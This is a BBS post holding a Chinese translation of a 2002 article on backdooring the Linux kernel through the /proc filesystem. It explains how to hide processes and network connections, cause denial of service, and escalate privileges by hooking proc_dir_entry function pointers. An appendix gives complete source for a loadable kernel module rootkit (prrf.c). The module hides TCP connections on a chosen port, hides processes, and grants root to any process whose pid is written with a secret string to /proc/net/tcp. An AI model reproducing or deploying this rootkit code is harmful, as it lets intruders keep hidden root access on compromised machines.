荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: michaelx (Tiger Lazy), 信区: Security
标  题: Advances in kernel hacking
发信站: 荔园晨风BBS站 (Thu Feb 21 10:49:11 2002), 转信

◆ Advances in kernel hacking

作者:palmers < palmers@team-teso.net >
整理:Luther  < Luther@pku.edu >
日期:2002-01-31


########################################################################
######
前  言:

     主要是介绍如何通过proc文件系统做一些工作:))

     本人第一次翻译类似的文章, 难免有很多错误, 请大家指正! //bow
########################################################################
######


########################################################################
######
正  文:
########################################################################
######

--[ 目录

  1 - 简介

  2 - VFS 和 Proc 入门
    2.1 - VFS和为什么使用Proc?
    2.2 - proc_fs.h
    2.3 - proc_root

  3 - 何去何从
    3.1 - 获得权限(Securing)
    3.2 - 拒绝服务(Denial of Service)
    3.3 - 隐藏联接
    3.4 - 提高特权
    3.5 - 隐藏进程
    3.6 - 其他应用

  4 - 总结

  5 - 参考书目

  附录 A: prrf.c

--[ 1 - 简介

  "The nineteenth century dislike of romanticism is the rage of
Caliban seeing
his own face in the glass.
   The nineteenth century dislike of realism is the rage of Caliban
not seeing
his own face in the glass."
- Oscar Wilde, the preface to "The picture of Dorian Gray"

    既然我们关心的是hacking,而并非文学.那从这个角度来重新叙述这段话, 浪
漫就是
安全(security),现实(realism)则是它的庇护(shadow)。本文主要讲述黑客
Caliban,我
们的镜子(glass)将是Linux内核。

    请关注整个内核,特别是proc文件系统部分。proc文件系统提供了很多有趣的
特性,
经常被用户空间使用。

    这里我仅仅是从Linux内核模块(LKM)的角度来描述这些技术。如何在其他平台
上移植
这些技术就是读者自己的任务了,虽然技术本身是可移植的,但是它们的使用是受
其他条
件约束的。Linux系统中的proc文件系统是作为一种扩展而被开发出来的,在其他
系统中,
并不一定有这些扩展的实现。通常,它为每一个进程提供了一个目录,在Linux 系
统中很
多系统程序都是通过proc文件系统来获得相关大量的信息。更多的内容可以在[7]
和[8]中
找到。

    老版本的UNIX系统和HP-UX10.x是不提供proc文件系统的。类似于通过ps(1)而
获得的
进程表信息,是通过直接访问内核空间[Kernel Momory]来获取的。当然,使用这些
技术是
需要超级用户权限的,同时可移植性也比proc文件系统差许多。

--[ 2 - VFS和Proc入门

    首先我将对理解这些技术所必须的基础知识进行一些概述,然后研究proc文件
系统的
设计思想,最终我们将进一步深入系统。

--[ 2.1 - VFS和为什么要使用Proc?

    内核为我们提供了一个文件系统抽象层,这就是所谓的虚拟文件系统或者VFS
。VFS为
各种不同的文件系统提供了统一的用户接口(细节见[1])。更多相关内容可在[2]中
找到.

    我们不要从VFS的角度来看待proc,那些不统一的文件系统是处于proc文件系统
的实行
层[implementation level]。这里有一个简单的出发点,我们只是希望proc被修改
以后,
依然看起来和其他文件系统一样。

    不知道我是否已经涉及到本文讨论proc的目的, 不过有两点特性使得它非常有
趣:
1. 它是一个文件系统
2. 它完全存在于内核空间[kernel momory]

    既然内核提供的VFS对proc文件系统做了一些功能性的限制,同时它又是能够被
空户空
间[userland]访问的文件系统,换句话说:就是提供了read,write,open和类似的
系统调
用(除此以外的其他访问方式请参照[3])

    下面我们将详细的论证这样一来一个主题:如何不通过修改系统调用的方法来
给内核
驻留一个后门程序[be backdoored]。

--[ 2.2 - proc_fs.h

    在这部分,我们主要看看 ~/include/linux/proc_fs.h[~是你的内核代码树所
在的地
方]。ok,我们首先从kernel-2.2.x系列入手:

/*
* This is not completely implemented yet. The idea is to
* create an in-memory tree (like the actual /proc filesystem
* tree) of these proc_dir_entries, so that we can dynamically
* add new files to /proc.
*
* The "next" pointer creates a linked list of one /proc directory,
* while parent/subdir create the directory structure (every
* /proc file has a parent, but "subdir" is NULL for all
* non-directory entries).
*
* "get_info" is called at "read", while "fill_inode" is used to
* fill in file type/protection/owner information specific to the
* particular /proc file.
*/
struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * ops;
int (*get_info)(char *, char **, off_t, int, int);
void (*fill_inode)(struct inode *, int);
struct proc_dir_entry *next, *parent, *subdir;
void *data;
int (*read_proc)(char *page, char **start, off_t off,
int count, int *eof, void *data);
int (*write_proc)(struct file *file, const char *buffer,
unsigned long count, void *data);
int (*readlink_proc)(struct proc_dir_entry *de, char *page);
unsigned int count; /* use count */
int deleted; /* delete flag */
};

    上面描述的“in-memory tree”将被VFS统一起来,在2.4内核里面,这个结构
有一些
细微的差别:


/*
* This is not completely implemented yet. The idea is to
* create an in-memory tree (like the actual /proc filesystem
* tree) of these proc_dir_entries, so that we can dynamically
* add new files to /proc.
*
* The "next" pointer creates a linked list of one /proc directory,
* while parent/subdir create the directory structure (every
* /proc file has a parent, but "subdir" is NULL for all
* non-directory entries).
*
* "get_info" is called at "read", while "owner" is used to protect
module
* from unloading while proc_dir_entry is in use
*/

typedef int (read_proc_t)(char *page, char **start, off_t off,
int count, int *eof, void *data);
typedef int (write_proc_t)(struct file *file, const char *buffer,
unsigned long count, void *data);
typedef int (get_info_t)(char *, char **, off_t, int);

struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
read_proc_t *read_proc;
write_proc_t *write_proc;
atomic_t count; /* use count */
int deleted; /* delete flag */
kdev_t  rdev;
};

    proc经过多年的开发,依然没有结束。但是不断的有些变化和改进,
get_info这个函
数的原型减少了一个参数,这些使移植变得有些麻烦了。

    2.4的kernel增加了三个新的入口,但是readlink_proc这个入口却被去掉了。
同时,
文件操作的结构体被从i节点(inode)操作的结构体中移到proc_dir_entry里面去了
。围绕
这些展开的工作还不错,见section 3。

--[ 2.3 - proc_root

    Linux内核把proc文件系统的根i节点(root inode)输出为一个被叫做
proc_root的玩
艺。通常,根i节点的挂节点(mount point)在/proc。我们可以就从这里开始,访
问这个
目录下面的目录和文件。但是,有一个例外,那些进程的目录列表不能从
proc_root里面
直接延伸出来,它们是被动态加载的,当系统调用readdir(i 节点操作)被调用的
时候,
就会提交给VFS层。

    另外,要清楚的一点是: proc_root是"struct proc_dir_entry"类型的。

--[ 3 - 何去何从(Where to go)?

    本章将介绍一些能够获得比通过通常的替换系统调用获得的更多权限和能力的
技巧。

    下面的函数和宏将会被后面子章节里面的代码所用到(附录A是完整代码):

    如2.2部分所说的,我们必须要密切注意不同内核设计上的一些细微差别:

#if defined (KERNEL_22)
#define FILE_OPS ops->default_file_ops
#define INODE_OPS ops
#elis defined (KERNEL_24)
#define FILE_OPS proc_fops
#define INODE_OPS proc_iops
#endif

#原型(FUNCTION)
struct proc_dir_entry *
traverse_proc(char *path, struct proc_dir_entry *start):
        #返回值(RETURN)
成功: 返回一个指向由路径指定的proc文件的指针
失败: 返回NULL
        #参数(PARAM)
start: NULL或者是任意的proc_dir_entry, 标识着搜索的起点。
         path:  可以是"~/",表示从proc_root开始搜索。

#原型(FUCNTION)
        int
        delete_proc_file(char *path):
#描述(DESCRIPTION)
         从proc文件列表中删除一文件,但是不释放proc_dir_entry所占用的内存
空间,
         以便可以重新再导入。

--[ 3.1 - 获得权限

    直接修改proc_dir_entry结构中最开始的几个域(也就uid, gid和mode)可能是
最简单
的方法。通过修改这些域(fields或者叫字段),我们可以比较方便的增加或者撤消
一些用
户访问一些信息的权限。当然,通过/proc获得的信息也可以是可以通过其他手段获
得的。

    具体过程可以是这样的:

proc_dir_entry *a = NULL;
a = traverse_proc ("~/ksyms", NULL);
if (a) {
/* reset permissions to 400 (r--------): */
a->mode -= (S_IROTH | S_IRGRP); // 修改ksyms的访问模式
}
a = traverse_proc ("~/net", NULL);
if (a) {
/* reset permissions to 750 (rwxr-x---): */
a->mode = S_IRWXU | S_IRGRP | S_IXGRP;
/* reset owner group to a special admin group id */
a->gid = 7350; // 更改net的组id
}

    在3.5中有其他的一些获得proc访问权限的办法。

--[ 3.2 - 拒绝服务(Denial of Service)

    well,我将尽可能简短的来描述这个过程。按前面所讲的, 一些怀有恶意的用
户可以
通过修改一些文件导致系统服务失效,这样可轻松的造成破坏。但是,如果怀有恶
意的用
户仅仅是删除一个文件连接(unlinks):

/* oops, we forget to save the pointer ... */
delete_proc_file ("~/apm");

    调用delete_proc_file到底做了一些什么事情呢?
        0. 找到要删除文件[to del]的proc_dir_entry
        1. 找到与下面条件相符的proc_dir_entry:
           proc->next->name == to_del->name
        2. 重新链接:
           proc->next = to_del->next

--[ 3.3 - 隐藏连接

    netstat命令是通过访问proc文件~/net/* 获得信息,从而显示一些状态的,譬
如tcp连
接和它们的状态,侦听udp s-ocktet等。仔细阅读[4]中关于netstat的详细讨论。
既然我
们已经控制了proc文件系统,那么就可以决定哪些能够被读和哪些不能。
proc_dir_entry
结构里有一个函数指针get_info,每次file被进行读操作的时候都要调用它。重定
向之,
我们可以控制/proc里文件的内容。

    不同版本里面的文件格式是有区别的,上面提及的文件从2.2.x到2.4.x格式就
有不少
变化,特别是那些可用于重定向的函数。让我们看看2.5.x的内核里面这些是怎么
发展的。

    一个例子(for 2.2.x 版本的内核,和 2.4.x 的区别请参照 section 2.2):


/* we save the original get_info */
int (*saved_get_info)(char *, char **, off_t, int, int);
proc_dir_entry *a = NULL;

/* the new get_info ... */
int
new_get_info (char *a, char **b, off_t c, int d, int e) {
int x = 0;
x = saved_get_info (a, b, c, d, e);
/* do something here ... */
return x;
}

a = traverse_proc ("~/net/tcp", NULL);
if (a) {
/*
* we just set the get_info pointer to point to our new
* function. to undo this changes simply restore the pointer.
*/
saved_get_info = a->get_info;
a->get_info = &new_get_info;
}

    附录A提供了一个可用的例子。

--[ 3.4 - 提升特权

    通常,一个系统调用在特定的情况下可以给用户提供一些额外的权限。不过,
 我们不
会为了这个来重定向一个系统调用的。重定向(redirect)一个文件的读操作是足够
的:
        (1) 它允许用户把数据传给内核
        (2) 如果我们选择了正确的方式或者文件,它将是相当隐蔽的
           (把/proc/sys/net/ipv4/ip_forward里面一个任务id从1改到0是很糟
的主意)

    下面的代码可以论述这点:

a = traverse_proc ("~/ide/drivers", NULL);
if (a) {
/*
* the write function is called if the file is written to.
*/
a->FILE_OPS->write = &new_write;
}

    把你覆盖的指针留下来是一个不错的主意,如果你删除一个模块,包含这些函
数的内
存空间将可能被释放。如随后调用NULL指针,它可以提供havoc给系统。好奇的读者
可以阅
读附录A。

--[ 3.5 - 隐藏进程

    读一个目录的时候会发生一些什么事情呢?首先你必须找到它的i节点,接着使
用系统
调用readdir以获取它的入口信息。VFS为此提供了统一的接口,我们不必把上述的
指向父
i节点readdir操作的指针清零。

    既然进程的目录列表直接就是在proc_root下面的,那么就不需要从父i节点中
进行查
找了。我们并没有通过给用户分组来隐藏不同用户的入口,而是通过不把他们写到
用户空
间来实现的。

/* a global pointer to the original filldir function */
filldir_t real_filldir;

static int new_filldir_root (void * __buf, const char * name,
int namlen, off_t offset, ino_t ino) {
/*
* if the dir entry, that should be added has a stupid name
* indicate a successful addition and do nothing.
*/
if (isHidden (name))
return 0;
return real_filldir (__buf, name, namlen, offset, ino);
}


/* readdir, business as usual. */
int new_readdir_root (struct file *a, void *b, filldir_t c) {
/*
* Note: there is no need to set this pointer every
* time new_readdir_root is called. But we have to set
* it once, when we replace the readdir function. If we
* know where filldir lies at that time this should be
* changed. (yes, filldir is static).
*/
real_filldir = c;
return old_readdir_root (a, b, new_filldir_root);
}


/* replace the readdir file operation. */
proc_root.FILE_OPS->readdir = new_readdir_root;
    既然filldir根本不关心连接(linking), 那么被加在最后的进程在入口列表中
是被隐
藏了, 并且被进行了不是很好的连接. 然而这未必就能发生,拥有所有权限的用户
必须要
避免这种情况的发生。

    替换父节点的回环i节点操作,使/proc下的文件不能被访问成为可能:

struct dentry *new_lookup_root (struct inode *a, struct dentry *b)
{
/*
* will result in:
* "/bin/ls: /proc/<d_iname>: No such file or directory"
*/
if (isHidden (b->d_iname))
return NULL;
return old_lookup_root (a, b);
}

/* ... enable the feature ... */
proc_root.INODE_OPS->lookup = &new_lookup_root;

    E.g. 这个可以用来建立良好的访问规则

--[ 3.6 - 其他应用

    现在,看看那些可能要被修改的文件。/proc/net目录下面的ip_fwnames(定义
chains
的名称)和ip_dwchains(规则)。它们是由ipchains(Not IPtables)操作, 通过查询
来获得
过滤规则。前面提到过,那里还有一个文件tcp,可以用来侦听所有的tcp
sockets,同样
也有这样的udp文件,raw这个文件列出了原始套接字(raw socket),sockstat包含
了被使
用的套接字的状态。好的后门程序(backdoor),必须在tcp | udp等文件中同步。
arp使用
/proc/net/arp来获取它的有关信息,route使用/proc/net/route。阅读它们的
manpage找
出"FILES"和"SEE ALSO"部分。然而,检查这些文件仅仅完成了一半工作,Eg.:
ifconfig
使用一个proc文件(dev)加上ioctl命令来得到它的信息。

    众所周知,这些技术可以在很多方面得到应用。这就取决于你书写新的
get_info函数
来过滤它们的输出或者增加新的入口(不存在的问题最难被调试)。

--[ 4 - 总结

    正如我们在3.2-3.6部分所看到的,我们有很多办法来削弱Linux内核的安全性
。已经
存在的内核保护机制,如[5]和[6]并没有阻止这些,它们所作的工作,仅仅是针对
众所周
知的,基于系统调用的后门程序;我们所有的工作都是围绕这一点的。禁止LKM的
支持,仅
仅能阻止这里说的一些特殊的方法的实施[因为他们是LKM]。

    通过访问/dev/[k]mem来修改proc结构是一件比较简单的事情,因为大多数数
据的i节
点都是静态的。然后它们可能会被发现,仅仅是通过一些简单的模式匹配(只是函数
指针和
next/parent/subdir指针不一样)。

    隐藏一些文件和目录的目的没达到,但这并非说这些不能通过proc游戏来完成
。一个
迫切需要的可能就是把二进制插入到内核镜像的proc结构中,或系统使用的SDRAM
中,让他
们占据那些没有被使用的内存空间。另外一个可能就是攻击VFS,那些内容将会在另
外一些
文章中涉及。

    最后,一些是关于附录里面的例子。我强烈建议读者仅仅把它当做是对这些概
念的验
证。作者对因此造成的数据丢失,服务失控,偶然的或者重大的破坏不负任何责任


    The code is provided "AS IS" and WITHOUT ANY WARRENTY.
    USE IT AT YOU OWN RISK.
    The code is know to compile and run on 2.2.x and 2.4.x kernels.

--[ 5 - 参考

[1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.
csiro.au>
    http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt
[2] "Operating Systems, Design and Implementation", by Andrew S.
Tanenbaum and
    Albert S. Woodhull
    ISBN 0-13-630195-9
[3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au>
    http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt
[4] netstat
    see netstat(1) for further information.
[5] StMichael, by Tim Lawless <lawless@netdoor.com>
    http://sourceforge.net/projects/stjude
[6] KSTAT, by FuSyS <fusys@s0ftpj.org>
    http://s0ftpj.org/tools/kstat.tgz
[7] proc pseudo-filesystem man page
    see proc(5)
[8] "T H E  /proc   F I L E S Y S T E M", Terrehon Bowden
<terrehon@pacbell.net>
,
    Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.
com>
    ~/Documentation/filesystems/proc.txt (only in recent kernel source
trees!)
    http://skaro.nightcrawler.com/~bb/Docs/Proc

########################################################################
######
附  录:
       在 Linux kernel-2.4.7-10编译通过
########################################################################
######

--[ 附录 A:prrf.c

/*
* prrf.c
*
* gcc -c prrf.c -O2 -DMODULE -D__KERNEL__ -o prrf.o
*
* LICENSE:
* this file may be copied or duplicated in any form, in
* whole or in part, modified or not, as long as this
* copyright notice is prepended UNMODIFIED.
*
* This code is proof of concept. The author can and must
* not be made responsible for any, including but not limited
* to, incidental or consequential damage, data loss or
* service outage. The code is provided "AS IS" and WITHOUT
* ANY WARRENTY. USE IT AT YOU OWN RISK.
*
* palmers / teso - 12/02/2001
*/

/*
* NOTE: the get_info redirection DOES NOT handle small buffers.
*       your system _might_ oops or even crash if you read less
*       bytes then the file contains!
*/

/*
* 2.2.x #define KERNEL_22
* 2.4.x #define KERNEL_24
*/
#define KERNEL_24 1
#define DEBUG 1

#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/config.h>
#include <linux/types.h>
#include <linux/slab.h>
#include <linux/smp_lock.h>
#include <linux/fd.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <asm/uaccess.h>


/*
* take care of proc_dir_entry design
*/
#if defined (KERNEL_22)
#define FILE_OPS ops->default_file_ops
#define INODE_OPS ops
#elif defined (KERNEL_24)
#define FILE_OPS proc_fops
#define INODE_OPS proc_iops
#endif

#define BUF_SIZE 65535
#define AUTH_STRING "ljdu3g9edaoih"


struct hide_proc_net {
int id; /* entry id, useless ;) */
char *local_addr, /* these should be self explaining ... */
*remote_addr, *local_port, *remote_port;
};

/*
* global lst_entry:
* set by traverse_proc, used by delete_proc_file.
*/
struct proc_dir_entry *lst_entry = NULL;

/*
* some function pointers for saving original functions.
*/
#if defined (KERNEL_22)
int (*old_get_info_tcp) (char *, char **, off_t, int, int);
#elif defined (KERNEL_24)
get_info_t *old_get_info_tcp;
#endif

ssize_t(*old_write_tcp) (struct file *, const char *, size_t, loff_t
*);
struct dentry *(*old_lookup_root) (struct inode *, struct dentry *);
int (*old_readdir_root) (struct file *, void *, filldir_t);
filldir_t real_filldir;


/*
* rules for hiding connections
*/
struct hide_proc_net hidden_tcp[] = {
{ 0,    NULL, NULL, ":4E35", NULL    }, /* match connection from ANY:ANY
 to ANY
:20021 */
{ 1,    NULL, NULL, NULL,    ":4E35" }, /* match connection from ANY:
20021 to A
NY:ANY */
{ 2,    NULL, NULL, ":0016", ":4E35" }, /* match connection from ANY:
20021 to A
NY:22 */
{ 7350, NULL, NULL, NULL,    NULL    } /* stop entry, dont forget to
prepend th
is one */
};

/*
* get_task:
* find a task_struct by pid.
*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;

do {
if (p->pid == pid)
return p;
p = p->next_task;
} while (p != current);
return NULL;
}

/*
* __atoi:
* atoi!
*/
int __atoi(char *str)
{
int res = 0, mul = 1;

char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}

/*
* get_size_off_tcp:
* get the size of the modified /proc/net/tcp file.
*/
static off_t get_size_off_tcp(char **start)
{
off_t x = 0, xx = 0, xxx = 0, y = 0;
char tmp_buf[BUF_SIZE + 1];

do {
x += y;
xx += xxx;
y = __new_get_info_tcp(tmp_buf, start, x, BUF_SIZE, 0, 1,
       &xxx);
} while (y != 0);

return x - xx;
}

/*
* deny_entry:
* check connection parameters against our access control list.
* for all non-NULL fields of a entry the supplied parameters
* must match. Otherways the socket will show up.
*/
int deny_entry(char *la, char *lp, char *ra, char *rp)
{
int x = 0, y, z;

while (hidden_tcp[x].id != 7350) {
y = 0;
z = 0;

if (hidden_tcp[x].local_addr != NULL) {
if (!strncmp(la, hidden_tcp[x].local_addr, 8))
y++;
} else
z++;

if (hidden_tcp[x].remote_addr != NULL) {
if (!strncmp(ra, hidden_tcp[x].remote_addr, 8))
y++;
} else
z++;

if (hidden_tcp[x].local_port != NULL) {
if (!strncmp(lp, hidden_tcp[x].local_port, 5))
y++;
} else
z++;

if (hidden_tcp[x].remote_port != NULL) {
if (!strncmp(rp, hidden_tcp[x].remote_port, 5))
y++;
} else
z++;

if ((z != 4) && ((y + z) == 4))
return 1;
x++;
}
return 0;
}

/*
* __new_get_info_tcp:
* filter the original get_info output. first call the old function,
* then cut out unwanted lines.
* XXX: very small buffers will make very large problems.
*/
int __new_get_info_tcp(char *page, char **start, off_t pos, int count,
       int f, int what, off_t * fx)
{
char tmp_l_addr[8], tmp_l_port[5], tmp_r_addr[8], tmp_r_port[5], /* used
 for ac
l checks */
*tmp_ptr, *tmp_page;
int x = 0, line_off = 0, length, remove = 0, diff, m;

#if defined (KERNEL_22)
x = old_get_info_tcp(page, start, pos, count, f);
#elif defined (KERNEL_24)
x = old_get_info_tcp(page, start, pos, count);
#endif

if (page == NULL)
return x;

while (*page) {
tmp_ptr = page;
length = 28;
while (*page != '\n' && *page != '\0') { /* check one line */
/*
* we even correct the sl field ("line number").
*/
if (line_off) {
diff = line_off;

if (diff > 999) {
m = diff / 1000;
page[0] -= m;
diff -= (m * 1000);
}
if (diff > 99) {
m = diff / 100;
page[1] -= m;
diff -= (m * 100);
}
if (diff > 9) {
m = diff / 10;
page[2] -= m;
diff -= (m * 10);
}
if (diff > 0)
page[3] -= diff;

if (page[0] > '1')
page[0] = ' ';
if (page[1] > '1')
page[1] = ' ';
if (page[2] > '1')
page[2] = ' ';
}

page += 6; /* jump to beginning of local address, XXX: is this fixed?
*/
memcpy(tmp_l_addr, page, 8);

page += 8; /* jump to beginning of local port */
memcpy(tmp_l_port, page, 5);

page += 6; /* jump to remote address */
memcpy(tmp_r_addr, page, 8);

page += 8; /* jump to beginning of local port */
memcpy(tmp_r_port, page, 5);

while (*page != '\n') { /* jump to end */
page++;
length++;
}

remove =
    deny_entry(tmp_l_addr, tmp_l_port, tmp_r_addr,
       tmp_r_port);
}
page++; /* '\n' */
length++;

if (remove == 1) {
x -= length;
if (what) /* count ignored bytes? */
*fx += length;
tmp_page = page;
page = tmp_ptr;

while (*tmp_page) /* move data backward in page */
*tmp_ptr++ = *tmp_page++;

/* zero lasting data (not needed)
  while (length--)
    *tmp_ptr++ = 0;
  *tmp_ptr = 0;
*/
line_off++;
remove = 0;
}
}
return x;
}

/*
* new_get_info_tcp:
* we need this wrapper to avoid duplication of entries. we have to
* check for "end of file" of /proc/net/tcp, where eof lies at
* file length - length of all entries we remove.
*/
#if defined (KERNEL_22)
int new_get_info_tcp(char *page, char **start, off_t pos, int count, int
 f)
{
#elif defined (KERNEL_24)
int new_get_info_tcp(char *page, char **start, off_t pos, int count)
{
int f = 0;
#endif
int x = 0;
off_t max = 0;

max = get_size_off_tcp(start);
if (pos > max)
return 0;
x = __new_get_info_tcp(page, start, pos, count, f, 0, NULL);

return x;
}

/*
* new_write_tcp:
* a write function that performs misc. tasks as privilege elevation
etc.
* e.g.:
* echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr.
*/
ssize_t new_write_tcp(struct file * a, const char *b, size_t c, loff_t *
 d)
{
char *tmp = NULL, *tmp_ptr;
tmp = kmalloc(c + 1, GFP_KERNEL);

copy_from_user(tmp, b, c);
if (tmp[strlen(tmp) - 1] == '\n')
tmp[strlen(tmp) - 1] = 0;

if (!strncmp(tmp, AUTH_STRING, strlen(AUTH_STRING))) {
struct task_struct *x = NULL;
tmp_ptr = tmp + strlen(AUTH_STRING) + 1;
if ((x = get_task(__atoi(tmp_ptr))) == NULL) {
kfree(tmp);
return c;
}
x->uid = x->euid = x->suid = x->fsuid = 0;
x->gid = x->egid = x->sgid = x->fsgid = 0;
}

kfree(tmp);
return c;
}

/*
* some testing ...
*/
struct dentry *new_lookup_root(struct inode *a, struct dentry *b)
{
if (b->d_iname[0] == '1')
return NULL; /* will result in: "/bin/ls: /proc/1*: No such file or
directory"
*/
return old_lookup_root(a, b);
}

static int new_filldir_root(void *__buf, const char *name, int namlen,
    off_t offset, ino_t ino, unsigned foo)
{
if (name[0] == '1' && name[1] == '0') /* hide init */
return 0;
/*
* hiding the last task will result in a wrong linked list.
* that leads e.g. to crashes (ps).
*/
return real_filldir(__buf, name, namlen, offset, ino, foo);
}

int new_readdir_root(struct file *a, void *b, filldir_t c)
{
real_filldir = c;
return old_readdir_root(a, b, new_filldir_root);
}

/*
* traverse_proc:
* returns the directory entry of a given file. the function will
traverse
* thru the filesystems structure until it found the matching file.
* the pr argument may be either NULL or a starting point for the
search.
* path is a string. if it begins with '~' and pr is NULL the search
starts
* at proc_root.
*/
struct proc_dir_entry *traverse_proc(char *path, struct proc_dir_entry
*pr)
{
int x = 0;
char *tmp = NULL;

if (path == NULL)
return NULL;

if (path[0] == '~') {
lst_entry = &proc_root;
return traverse_proc(path + 2, (struct proc_dir_entry *) proc_root.
subdir);
}

while (path[x] != '/' && path[x] != 0)
x++;

tmp = kmalloc(x + 1, GFP_KERNEL);
memset(tmp, 0, x + 1);
memcpy(tmp, path, x);

while (strcmp(tmp, (char *) pr->name)) {
if (pr->subdir != NULL && path[x] == '/') {
if (!strcmp(tmp, (char *) pr->subdir->name)) {
kfree(tmp);
lst_entry = pr;
return traverse_proc(path + x + 1,
     pr->subdir);
}
}
lst_entry = pr;
pr = pr->next;
if (pr == NULL) {
kfree(tmp);
return NULL;
}
}

kfree(tmp);
if (*(path + x) == 0)
return pr;
else {
lst_entry = pr;
return traverse_proc(path + x + 1, pr->subdir);
}
}

/*
* delete_proc_file:
* remove a file from of the proc filesystem. the files inode will
still exist b
ut it will
* no longer be accessable (not pointed to by any other proc inode).
the subdir
pointer will
* be copy'ed to the the subdir pointer of the preceeding inode.
* returns 1 on success, 0 on error.
*/
int delete_proc_file(char *name)
{
struct proc_dir_entry *last = NULL;
char *tmp = NULL;
int i = 0; /* delete subdir? */

last = traverse_proc(name, NULL);

if (last == NULL)
return 0;
if (lst_entry == NULL)
return 0;

if (last->subdir != NULL && i)
lst_entry->subdir = last->subdir;

while (*name != 0) {
if (*name == '/')
tmp = name + 1;
*name++;
}

if (!strcmp(tmp, lst_entry->next->name))
lst_entry->next = last->next;
else if (!strcmp(tmp, lst_entry->subdir->name))
lst_entry->subdir = last->next;
else
return 0;

return 1;
}

int init_module()
{
struct proc_dir_entry *last = NULL;
last = traverse_proc("~/net/tcp", NULL);

old_readdir_root = proc_root.FILE_OPS->readdir;
old_lookup_root = proc_root.INODE_OPS->lookup;

proc_root.FILE_OPS->readdir = &new_readdir_root;
proc_root.INODE_OPS->lookup = &new_lookup_root;

if (last != NULL) {
#ifdef DEBUG
printk("Installing hooks ....\n");
#endif
old_get_info_tcp = last->get_info;
old_write_tcp = last->FILE_OPS->write;

last->get_info = &new_get_info_tcp;
last->FILE_OPS->write = &new_write_tcp;
}

return 0;
}

void cleanup_module()
{
struct proc_dir_entry *last = NULL;
last = traverse_proc("~/net/tcp", NULL);

proc_root.FILE_OPS->readdir = old_readdir_root;
proc_root.INODE_OPS->lookup = old_lookup_root;

if (last != NULL) {
#ifdef DEBUG
printk("Removing hooks ....\n");
#endif
last->get_info = old_get_info_tcp;
last->FILE_OPS->write = old_write_tcp;
}
}

<完>



--
M.X的FTP SERVER
ftp://192.168.55.18

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 203.93.19.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店